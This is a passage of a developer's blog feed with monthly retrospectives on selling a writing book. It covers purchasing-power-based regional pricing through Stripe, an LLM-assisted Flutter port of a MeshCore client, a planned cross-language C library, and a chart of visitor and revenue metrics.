&lt;p>Pre-sales are down because I didn&amp;rsquo;t have any new posts to attract new readers (I didn&amp;rsquo;t publish the Hacker News post until January). Still, it&amp;rsquo;s a positive sign that my &amp;ldquo;passive sales&amp;rdquo; continue to grow. In December, I had almost $500 in pre-sales. If I compare that to months with similar website visitors, May had only $241 in pre-sales, and August had $361, so the numbers are trending up. I hope that as the book grows more complete and more readers recommend it, the passive sales continue to rise without relying on me finding a successful marketing push each month.&lt;/p>
&lt;h2 id="adding-regional-pricing-for-my-book">Adding regional pricing for my book&lt;/h2>
&lt;p>When I ran my &lt;a href="https://mtlynch.io/retrospectives/2025/12/#refactoring-english-metrics">Black Friday promotion&lt;/a> in November, a reader emailed to say that 30% off (US$20) is still an unaffordable price in Argentina for a book. He asked if I&amp;rsquo;d consider regional pricing. He mentioned that Steam games are typically priced 50% lower in Argentina than the US, so I figured that was a good anchor.&lt;/p>
&lt;p>I collect payments through Stripe, and I couldn&amp;rsquo;t find any option for regional pricing in my Stripe dashboard. I found an article in Stripe&amp;rsquo;s knowledge base called &lt;a href="https://stripe.com/resources/more/geographic-pricing-in-practice">&amp;ldquo;Geographic pricing in practice: Why it matters and how to implement it.&amp;rdquo;&lt;/a> I was delighted until I read the entire article and discovered they&amp;rsquo;d forgotten to write the &amp;ldquo;and how to implement it&amp;rdquo; part.&lt;/p>
&lt;p>So, Stripe advocates for regional pricing, but they don&amp;rsquo;t actually offer it as an option. It was a helpful reminder that Stripe is the worst payment processor &lt;a href="https://winstonchurchill.org/resources/quotes/the-worst-form-of-government/">except for all those other payment processors&lt;/a>.&lt;/p>
&lt;p>So, for my Argentinian customer, I used a one-off process where I manually created a custom payment link for him at a discounted price. And when I went through the process, I realized I could set the price in Argentine pesos so he wouldn&amp;rsquo;t have to pay a currency conversion fee. I set the price to 22,000 ARS (about US$15), and he seemed happy with the price and the checkout experience.&lt;/p>
&lt;p>The reader suggested I publicly offer regional pricing, at least for countries like Brazil and India, which have high numbers of developers but relatively low purchasing power.&lt;/p>
&lt;p>Even without native Stripe support for regional pricing, it seemed like it wouldn&amp;rsquo;t be that hard to automate the thing I did manually. I read about &lt;a href="https://scastiel.dev/implement-ppp-fair-pricing-for-your-product">Sebastien Castiel implementing regional pricing&lt;/a> for his course, which led me to &lt;a href="https://scastiel.dev/implement-ppp-fair-pricing-for-your-product">Wes Bos&amp;rsquo; post about the same thing&lt;/a>.&lt;/p>
&lt;p>Sebastien shared a lot of technical details, but his solution was heavy on React, whereas my site is vanilla HTML and JavaScript. He also relied on discount codes, which I don&amp;rsquo;t like because it means most customers see that there&amp;rsquo;s a special deal they&amp;rsquo;re &lt;em>not&lt;/em> getting.&lt;/p>
&lt;p>I spent a few hours implementing a solution using a cloud function that determines the right price on the fly and dynamically creates a Stripe checkout link. Then, I realized I could precompute everything and eliminate the need for server-side logic, so I deleted my cloud function.&lt;/p>
&lt;p>My implementation looks like this:&lt;/p>
&lt;ol>
&lt;li>Manually get a list of all countries / currencies that Stripe supports.&lt;/li>
&lt;li>Write a script that pulls data from the World Bank to calculate the &lt;a href="https://en.wikipedia.org/wiki/Purchasing_power_parity">purchasing power parity&lt;/a> (PPP) for each country in the list.&lt;/li>
&lt;li>Calculate each country&amp;rsquo;s discount based on their purchasing power relative to the US.
&lt;ul>
&lt;li>e.g., the PPP of Brazil is 54% lower than the US, so they get a 54% discount.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Filter out countries where the PPP is within 15% of the US (too small a discount to bother).&lt;/li>
&lt;li>Filter out countries where the discount would be negative.
&lt;ul>
&lt;li>Otherwise, customers in Luxembourg would have to &lt;a href="https://www.youtube.com/watch?v=yi8IZAyN5IA">pay double&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Limit the discount to a maximum of 75%
&lt;ul>
&lt;li>Otherwise the price in Egypt would be US$4, meaning I&amp;rsquo;d get like $3.50 after conversion fees.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Automatically generate country-specific Stripe price objects and Stripe payment links for each country remaining in the list.&lt;/li>
&lt;li>Put all the countries in an HTML dropdown on my site:&lt;/li>
&lt;/ol>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2026/01/ppp.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2026/01/ppp_hu_c4ed201ee5f498c2.webp 300w, https://mtlynch.io/retrospectives/2026/01/ppp_hu_34cb946ace606ebd.webp 600w, https://mtlynch.io/retrospectives/2026/01/ppp.webp 731w'
 src="https://mtlynch.io/retrospectives/2026/01/ppp.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The user just picks their country and it activates the Stripe purchase link for that country, and they pay in their own currency.&lt;/p>
&lt;p>I&amp;rsquo;m going by the honor system, so I don&amp;rsquo;t bother with IP geolocation or VPN prevention. I do hide the discount for each country to discourage people from picking the cheapest option. And part of the benefit of pricing in each country&amp;rsquo;s local currency is that if someone cheats and picks a region that&amp;rsquo;s not really their home currency, they lose some money in conversion fees.&lt;/p>
&lt;p>The numbers feel not quite correct. According to strict PPP, the equivalent of $30 in the US is $4 in Egypt, but I suspect you can&amp;rsquo;t really buy non-bootleg books for programmers in Egypt for $4.&lt;/p>
&lt;p>When Wes Bos did this, he just asked his readers to tell him fair prices, so I&amp;rsquo;ll try that too. Leave a comment or &lt;a href="https://mtlynch.io/about">email me&lt;/a> the normal price range for developer-oriented books in your country.&lt;/p>
&lt;h2 id="creating-my-first-flutter-app">Creating my first Flutter app&lt;/h2>
&lt;p>In December, I published &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/">&amp;ldquo;My First Impressions of MeshCore Off-Grid Messaging.&amp;rdquo;&lt;/a> I was excited about the technology but disappointed to discover that &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/#wait-meshcore-isnt-open-source">the clients are all closed-source&lt;/a>.&lt;/p>
&lt;p>At that point, I decided to pause my exploration of MeshCore, but &lt;a href="https://fris.de/">Frieder Schrempf&lt;/a>, a MeshCore contributor, replied to my post with &lt;a href="https://mastodon.social/@frisch/115651257976050705">this interesting perspective&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>I share a lot of your thoughts on this topic. Personally I see the value of MeshCore in the protocol and not so much in the software implementations of the firmware, apps, etc. [&amp;hellip;] If MeshCore as a protocol succeeds and gets widely used (currently it looks like it does) then properly maintained open-source implementations will follow (at least I hope).&lt;/p>&lt;/blockquote>
&lt;p>I agreed with Frieder and thought, &amp;ldquo;Maybe I should just write a proof of concept open-source MeshCore app?&amp;rdquo;&lt;/p>
&lt;p>Actually, there already was a proof of concept MeshCore app. Liam Cottle, the developer of the official MeshCore app, previously wrote &lt;a href="https://meshcore.liamcottle.net/">a web app for MeshCore&lt;/a> as a prototype for the official version. He deprecated it when he made the official (proprietary) MeshCore app, but &lt;a href="https://github.com/liamcottle/meshcore-web">the source code&lt;/a> for his prototype was still available, and the prototype had most of the features I needed.&lt;/p>
&lt;p>I wondered how difficult it would be to port the prototype to mobile. MeshCore is too hard to use as a web app, as it requires Bluetooth access and offline mode. I&amp;rsquo;ve heard somewhat positive things about &lt;a href="https://flutter.dev">Flutter&lt;/a>, Google&amp;rsquo;s solution for cross-platform mobile development. I suspected that an LLM could successfully port the code from the web prototype to Flutter without much intervention from me.&lt;/p>
&lt;p>My plan was to have an LLM create a Flutter port of the prototype in three stages:&lt;/p>
&lt;ol>
&lt;li>Write end-to-end tests for the prototype web app using Playwright.&lt;/li>
&lt;li>Port the prototype implementation to a Flutter web app, keeping the end-to-end tests constant to ensure feature parity.&lt;/li>
&lt;li>Add an Android build to the Flutter project.&lt;/li>
&lt;/ol>
&lt;p>That worked, but every step was clunkier than I anticipated:&lt;/p>
&lt;ul>
&lt;li>Before I could write end-to-end tests for the prototype, I had to &lt;a href="https://codeberg.org/mtlynch/howdy-neighbor/pulls/5">convert it&lt;/a> to use semantic HTML and ARIA attributes because a lot of the input labels were just bare &lt;code>&amp;lt;div&amp;gt;&lt;/code>s.&lt;/li>
&lt;li>I couldn&amp;rsquo;t keep the Playwright tests constant because Flutter actually doesn&amp;rsquo;t emit semantic HTML for web apps. It creates its own Flutter-specific HTML dialect and draws everything on an HTML canvas. Most Playwright element locators still work somehow, but I had to make a lot of Flutter-specific changes to the tests.&lt;/li>
&lt;li>It took a long time, even with an LLM, to figure out how to &lt;a href="https://codeberg.org/mtlynch/howdy-neighbor/pulls/15">build an Android package&lt;/a> with Flutter.
&lt;ul>
&lt;li>Gradle, Android&amp;rsquo;s build system, is buggy on NixOS. I kept running into situations where it was failing with mysterious errors that eventually turned out to be stale data it had cached in my home directory.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Flutter makes it surprisingly difficult to communicate over Bluetooth. On the web (at least on Chrome), you essentially get it for free by calling &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Bluetooth/requestDevice">&lt;code>navigator.bluetooth.requestDevice&lt;/code>&lt;/a>, but with Flutter, you have to use a &lt;a href="https://pub.dev/packages/flutter_blue_plus">proprietary third-party library&lt;/a> and roll your own device picker UI.&lt;/li>
&lt;/ul>
&lt;p>I thought it would be a quick weekend project I could whip together in a few hours. 30 hours and $200 in LLM credits later, I finally got it working.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/retrospectives/2026/01/howdy-android.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2026/01/howdy-android_hu_b7932d1e0b4dd04a.webp 300w, https://mtlynch.io/retrospectives/2026/01/howdy-android_hu_f582d766cb62ab7a.webp 600w, https://mtlynch.io/retrospectives/2026/01/howdy-android_hu_84a04b9a3567607e.webp 800w, https://mtlynch.io/retrospectives/2026/01/howdy-android.webp 1080w'
 src="https://mtlynch.io/retrospectives/2026/01/howdy-android.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Running my MeshCore Flutter app on a real Android device&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>But the day I got &lt;a href="https://codeberg.org/mtlynch/howdy-neighbor">my Flutter implementation&lt;/a> to feature parity with the prototype, I went to share it on Reddit and saw someone had just shared &lt;a href="https://github.com/zjs81/meshcore-open">meshcore-open&lt;/a>, a MeshCore client implementation in Flutter. It was the same idea I had but with far better execution.&lt;/p>
&lt;p>I was disappointed someone beat me to the punch, but I was also relieved. From my brief experience working with Flutter, I was eager to get away from Flutter as quickly as possible. I only wanted to make a proof of concept hoping someone else would pick it up, so I&amp;rsquo;m happy that there&amp;rsquo;s now an open-source, feature-rich MeshCore client implementation.&lt;/p>
&lt;h2 id="maybe-what-meshcore-needs-is-a-cross-language-library">Maybe what MeshCore needs is a cross-language library&lt;/h2>
&lt;p>While working on my MeshCore Flutter app, I had to implement low-level logic to parse MeshCore device-to-client messages. There&amp;rsquo;s a public &lt;a href="https://github.com/meshcore-dev/MeshCore/blob/6b52fb32301c273fc78d96183501eb23ad33c5bb/docs/payloads.md?plain=1#L54-L57">spec&lt;/a> that defines MeshCore&amp;rsquo;s peer-to-peer protocol, and even that&amp;rsquo;s fairly loose. But there&amp;rsquo;s another undocumented protocol for how a device running MeshCore firmware communicates with a companion client (e.g., an Android app) over Bluetooth or USB.&lt;/p>
&lt;p>The de facto reference implementation is &lt;a href="https://github.com/meshcore-dev/MeshCore/tree/companion-v1.11.0/examples/companion_radio">the MeshCore firmware&lt;/a>, but it intermingles peer-to-peer protocol logic with device-to-client protocol logic and UI logic, and it spreads the implementation across disparate places in the codebase.&lt;/p>
&lt;p>For example, a MeshCore client can fetch a list of contacts from a MeshCore device over Bluetooth, but it has to deserialize the raw bytes back into contacts. There&amp;rsquo;s no library for decoding the message, so each MeshCore client and library is rolling their own separate implementation:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/meshcore-dev/meshcore.js/blob/3a9fd3dab2d06a205625cee72dcdf9571268fc17/src/connection/connection.js#L479-L492">meshcore.js (JavaScript)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/zjs81/meshcore-open/blob/e3d7607db91940640fd1b7008b3b13b9abaaddfd/lib/models/contact.dart#L113-L151">meshcore-open (Dart)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/meshcore-dev/meshcore_py/blob/01e3f21992d24fafd2b160f762eb0a5a6a3f3a41/src/meshcore/reader.py#L84-L112">meshcore_py (Python)&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>What I notice about those implementations:&lt;/p>
&lt;ul>
&lt;li>They have to use magic numbers like &lt;code>32&lt;/code> rather than referring to constants defined in some authoritative location.&lt;/li>
&lt;li>None of them have automated tests for their parsers.&lt;/li>
&lt;li>They&amp;rsquo;re dragging unnecessary low-level work into high-level languages. For example, everyone is storing &lt;code>outPath&lt;/code> and &lt;code>outPathLen&lt;/code> variables. That&amp;rsquo;s an artifact of the C implementation, where arrays don&amp;rsquo;t know their size. You don&amp;rsquo;t have to manually track an array&amp;rsquo;s size in languages like JavaScript, Python, or Dart.&lt;/li>
&lt;li>They don&amp;rsquo;t check data carefully, so they&amp;rsquo;ll happily pass on garbage data like a negative path length or GPS coordinates that are outside of Earth&amp;rsquo;s bounds.&lt;/li>
&lt;li>They all ignore the flags field even though the flags are supposed to indicate &lt;a href="https://github.com/meshcore-dev/MeshCore/blob/6b52fb32301c273fc78d96183501eb23ad33c5bb/docs/payloads.md?plain=1#L54-L57">which fields are populated&lt;/a>. Or at least they&amp;rsquo;re supposed to in the peer-to-peer messages. For device-to-client messages, they seem to be meaningless.&lt;/li>
&lt;/ul>
&lt;p>My first thought was to rewrite the logic using a protocol library like &lt;a href="https://protobuf.dev/">protobuf&lt;/a> or &lt;a href="https://capnproto.org/">Cap&amp;rsquo;n Proto&lt;/a>, but I don&amp;rsquo;t see a backwards-compatible way of integrating a third-party library at this point.&lt;/p>
&lt;p>So, what if I wrote a core implementation of the MeshCore device-to-client protocol in C? I could add language-specific bindings so that we don&amp;rsquo;t need whole separate implementations for Dart, Python, JavaScript, and any other language you&amp;rsquo;d want to write in.&lt;/p>
&lt;p>So, I started my own MeshCore client library:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://codeberg.org/mtlynch/libmeshcore-client">https://codeberg.org/mtlynch/libmeshcore-client&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>The library is not ready to demo as a proof of concept, but it&amp;rsquo;s close.&lt;/p>
&lt;p>It&amp;rsquo;s entirely possible the MeshCore maintainers won&amp;rsquo;t like this idea, and it&amp;rsquo;s basically dead in the water without their buy-in. But I did it anyway because I&amp;rsquo;d never tried writing a cross-language library, and that was an interesting experience.&lt;/p>
&lt;p>The last time I tried to call C code from Python was 20 years ago, and I had to use &lt;a href="https://en.wikipedia.org/wiki/SWIG">SWIG&lt;/a>. Back then, it felt painful and hacky, and it seems to have gotten 80% better.&lt;/p>
&lt;p>I desperately wanted the core implementation to be Zig rather than C, but I saw too many blockers:&lt;/p>
&lt;ul>
&lt;li>Zig does &lt;a href="https://ziglang.org/download/0.15.1/release-notes.html#Support-Table">not yet compile&lt;/a> to xtensa architecture, which most of the MeshCore devices use.&lt;/li>
&lt;li>PlatformIO, which most of the MeshCore firmware projects use, does not support Zig.&lt;/li>
&lt;li>Dart&amp;rsquo;s &lt;a href="https://pub.dev/packages/ffigen">ffigen&lt;/a> would maybe work with Zig since Zig supports C&amp;rsquo;s ABI, but it was hard even getting it to work with C.
&lt;ul>
&lt;li>Ditto for Python&amp;rsquo;s &lt;a href="https://cffi.readthedocs.io/en/stable/">cffi&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>I got most of the way through writing two new chapters of &lt;em>Refactoring English&lt;/em>.&lt;/li>
&lt;li>I got most of the way through writing the &lt;a href="https://codeberg.org/mtlynch/little-moments/src/branch/design-doc/DESIGN.md">design doc&lt;/a> for my photo sharing app idea.&lt;/li>
&lt;li>I published &lt;a href="https://refactoringenglish.com/blog/2025-hn-top-5/">&amp;ldquo;The Most Popular Blogs of Hacker News in 2025.&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>I created my first &lt;a href="https://codeberg.org/mtlynch/howdy-neighbor">Flutter app&lt;/a>.&lt;/li>
&lt;li>I created my first &lt;a href="https://codeberg.org/mtlynch/libmeshcore-client">cross-language library&lt;/a>.&lt;/li>
&lt;li>I made some &lt;a href="https://github.com/meshcore-dev/meshcore.js/pull/10">contributions&lt;/a> &lt;a href="https://github.com/meshcore-dev/meshcore.js/issues/12">to&lt;/a> &lt;a href="https://github.com/meshcore-dev/meshcore.js/pull/9">MeshCore&lt;/a> &lt;a href="https://github.com/meshcore-dev/meshcore.js/pull/11">meshcore.js&lt;/a>.
&lt;ul>
&lt;li>Most of which, the maintainers are ignoring.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Minimize in-flight projects
&lt;ul>
&lt;li>AI makes it easier than ever to start new projects, but I&amp;rsquo;m still the bottleneck on turning them into something production-ready. The result is that I have a lot of projects that are in-flight and waiting for me to review them before I publish them. There&amp;rsquo;s mental overhead in so much context-switching and task tracking.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish three chapters of &lt;em>Refactoring English&lt;/em>.&lt;/li>
&lt;li>Publish my 2025 &lt;a href="https://mtlynch.io/tags/annual-review">annual review&lt;/a> (year 8).&lt;/li>
&lt;/ul>
&lt;h3 id="requests-for-help">Requests for help&lt;/h3>
&lt;p>Is $30 (USD) for a developer-oriented book expensive where you live? If so, let me know what you&amp;rsquo;d expect to pay for a programming book like &lt;em>Designing Data-Intensive Applications&lt;/em> in your country (in local currency).&lt;/p></content:encoded></item><item><title>Refactoring English: Month 12</title><link>https://mtlynch.io/retrospectives/2025/12/</link><pubDate>Thu, 11 Dec 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2025/12/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m working on a game to predict which posts will reach the front page of Hacker News.&lt;/li>
&lt;li>I&amp;rsquo;m creating a family photo sharing app out of spite.&lt;/li>
&lt;li>I switched to a keyboard-first window manager.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m working on a game to predict which posts will reach the front page of Hacker News.&lt;/li>
&lt;li>I&amp;rsquo;m creating a family photo sharing app out of spite.&lt;/li>
&lt;li>I switched to a keyboard-first window manager.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-two-new-book-chapters">Publish two new book chapters&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published one new chapter&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ve gotten stuck on my design docs chapter. There&amp;rsquo;s a lot I want to cover, and I&amp;rsquo;m having trouble articulating some of it and deciding how much of it belongs in the book.&lt;/p>
&lt;p>Part of the problem is that the chapter is so long that it feels overwhelming to tackle all at once. My new plan is to break the chapter into smaller sections and focus on those one at a time. I think this is my last &amp;ldquo;hard&amp;rdquo; chapter, as I have a better sense of what I want to say in the remaining chapters.&lt;/p>
&lt;h3 id="reach-out-to-10-readers">Reach out to 10 readers&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I only reached out to two readers (one responded).&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>I keep procrastinating on this even though I enjoy doing it and get useful responses. I keep automating more of the logistical work in the hopes that reducing initial friction will motivate me to do it more.&lt;/p>
&lt;h3 id="create-a-tool-or-blog-post-that-brings-people-to-the-refactoring-english-website">Create a tool or blog post that brings people to the &lt;em>Refactoring English&lt;/em> website&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &lt;a href="https://refactoringenglish.com/blog/crafting-interpreters-intro/">&amp;ldquo;What Makes the Intro to Crafting Interpreters so Good?&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>3,508 people read the post, so it was somewhat successful at attracting new readers. Bob Nystrom, the author I was writing about, &lt;a href="https://lobste.rs/s/jlf6y8/what_makes_intro_crafting_interpreters#c_8kxvys">liked my article&lt;/a>, which was gratifying. I figured even if my article flopped, at least it would let Bob Nystrom know how much I appreciated his work.&lt;/p>
&lt;h2 id="refactoring-english-metrics">&lt;em>Refactoring English&lt;/em> metrics&lt;/h2>
&lt;div class="project-metrics-chart">
 &lt;canvas
 id="refactoring_english-metrics-chart"
 data-labels="[&amp;#34;Jan 2025&amp;#34;,&amp;#34;Feb 2025&amp;#34;,&amp;#34;Mar 2025&amp;#34;,&amp;#34;Apr 2025&amp;#34;,&amp;#34;May 2025&amp;#34;,&amp;#34;Jun 2025&amp;#34;,&amp;#34;Jul 2025&amp;#34;,&amp;#34;Aug 2025&amp;#34;,&amp;#34;Sep 2025&amp;#34;,&amp;#34;Oct 2025&amp;#34;,&amp;#34;Nov 2025&amp;#34;]"
 data-visitors="[21824,1593,60327,14269,2986,6574,8061,2863,7283,22398,7608]"
 data-revenue="[0,0,0,6469,241.45,887.94,848.29,360.88,962.56,619,1066.73]"
 >&lt;/canvas>
&lt;/div>

&lt;script>
(function() {
 const ctx = document.getElementById('refactoring_english-metrics-chart');
 if (!ctx) return;

 const labels = JSON.parse(ctx.dataset.labels);
 const visitorsData = JSON.parse(ctx.dataset.visitors);
 const revenueData = JSON.parse(ctx.dataset.revenue);

 const dollarFormat = new Intl.NumberFormat("en-US", {
 style: "currency",
 currency: "USD",
 minimumFractionDigits: 0,
 maximumFractionDigits: 0,
 });

 const visitorFormat = new Intl.NumberFormat("en-US");

 new Chart(ctx, {
 type: 'line',
 data: {
 labels: labels,
 datasets: [{
 label: 'Unique Visitors',
 data: visitorsData,
 borderColor: '#3b82f6',
 backgroundColor: 'rgba(59, 130, 246, 0.1)',
 yAxisID: 'y-axis-1',
 fill: false,
 lineTension: 0
 }, {
 label: 'Total Revenue',
 data: revenueData,
 borderColor: '#10b981',
 backgroundColor: 'rgba(16, 185, 129, 0.1)',
 yAxisID: 'y-axis-2',
 fill: false,
 lineTension: 0
 }]
 },
 options: {
 responsive: true,
 maintainAspectRatio: false,
 title: {
 display: true,
 text: 'Project Metrics Over Time'
 },
 tooltips: {
 mode: 'index',
 intersect: false,
 callbacks: {
 label: function(tooltipItem, data) {
 const label = data.datasets[tooltipItem.datasetIndex].label || '';
 if (label === 'Unique Visitors') {
 return label + ': ' + visitorFormat.format(tooltipItem.yLabel);
 } else {
 return label + ': ' + dollarFormat.format(tooltipItem.yLabel);
 }
 }
 }
 },
 scales: {
 xAxes: [{
 display: true,
 scaleLabel: {
 display: true,
 labelString: 'Month'
 }
 }],
 yAxes: [{
 id: 'y-axis-1',
 type: 'linear',
 display: true,
 position: 'left',
 scaleLabel: {
 display: true,
 labelString: 'Unique Visitors'
 },
 ticks: {
 callback: function(value) {
 return visitorFormat.format(value);
 }
 }
 }, {
 id: 'y-axis-2',
 type: 'linear',
 display: true,
 position: 'right',
 scaleLabel: {
 display: true,
 labelString: 'Total Revenue'
 },
 gridLines: {
 drawOnChartArea: false,
 },
 ticks: {
 callback: function(value) {
 return dollarFormat.format(value);
 }
 }
 }]
 }
 }
 });
})();
&lt;/script>
&lt;style>
 .project-metrics-chart {
 position: relative;
 margin-bottom: 2rem;
 height: 400px;
 }

 .project-metrics-change-positive {
 color: green;
 }

 .project-metrics-change-negative {
 color: red;
 }
&lt;/style>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>October 2025&lt;/th>
 &lt;th>November 2025&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique visitors&lt;/td>
 &lt;td>22,398&lt;/td>
 &lt;td>7,608&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-14,790 (-66%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from pre-orders&lt;/td>
 &lt;td>$570.75&lt;/td>
 &lt;td>$1,018.48&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-positive"
 >&amp;#43;$447.73 (&amp;#43;78%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from sponsors&lt;/td>
 &lt;td>$48.25&lt;/td>
 &lt;td>$48.25&lt;/td>
 &lt;td>$0.00 (0%)&lt;/td>
 &lt;/tr>
 &lt;tr style="font-weight: bold;">
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$619.00&lt;/td>
 &lt;td>$1,066.73&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-positive"
 >&amp;#43;$447.73 (&amp;#43;72%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>

&lt;p>November was a good month in terms of visits and sales. Visits were down slightly from October, but it was still one of the strongest months of the year.&lt;/p>
&lt;p>I did a Black Friday discount for 30% off. I only advertised it to readers on my mailing list, as I always feel strange spamming a sale everywhere. But the announcement was successful, as 18 customers purchased for a total of $359.41.&lt;/p>
&lt;p>&lt;a href="https://spiessknafl.at/peter/">Peter Spiess-Knafl&lt;/a>, co-founder of &lt;a href="https://zeitkapsl.eu/">zeitkapsl&lt;/a>, cited &lt;em>Refactoring English&lt;/em> in &lt;a href="https://nobloat.org/articles/2025-07-01-hello-blog.html">a blog post&lt;/a>, which &lt;a href="https://lobste.rs/s/wkuvhx/hello_blog">reached #1 on Lobsters&lt;/a>. I was glad to see Peter&amp;rsquo;s post, as my plan for the book has always been for it to help readers write successful blog posts and be happy enough about the book that they recommend it.&lt;/p>
&lt;h2 id="will-it-hit-the-front-page-the-game">&amp;ldquo;Will it Hit the Front Page?&amp;rdquo; the game&lt;/h2>
&lt;p>I read Hacker News so often that I feel like I&amp;rsquo;d be good at predicting which stories will reach the front page, but I&amp;rsquo;ve never tested this belief rigorously. So, I made a game to test my accuracy.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/12/will-it-hit-predictions.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/12/will-it-hit-predictions_hu_11f2d8523df65b14.webp 300w, https://mtlynch.io/retrospectives/2025/12/will-it-hit-predictions_hu_27b96adea396a949.webp 600w, https://mtlynch.io/retrospectives/2025/12/will-it-hit-predictions_hu_507b1cba8d2166a6.webp 800w, https://mtlynch.io/retrospectives/2025/12/will-it-hit-predictions.webp 1044w'
 src="https://mtlynch.io/retrospectives/2025/12/will-it-hit-predictions.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The game shows me the newest submissions to Hacker News, and the player predicts whether or not they&amp;rsquo;ll reach the front page:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/12/will-it-hit-stories.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/12/will-it-hit-stories_hu_e1c59e490d87c0e4.webp 300w, https://mtlynch.io/retrospectives/2025/12/will-it-hit-stories_hu_dd27734f0e3805f1.webp 600w, https://mtlynch.io/retrospectives/2025/12/will-it-hit-stories_hu_344b57b5aad610e.webp 800w, https://mtlynch.io/retrospectives/2025/12/will-it-hit-stories.webp 1084w'
 src="https://mtlynch.io/retrospectives/2025/12/will-it-hit-stories.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


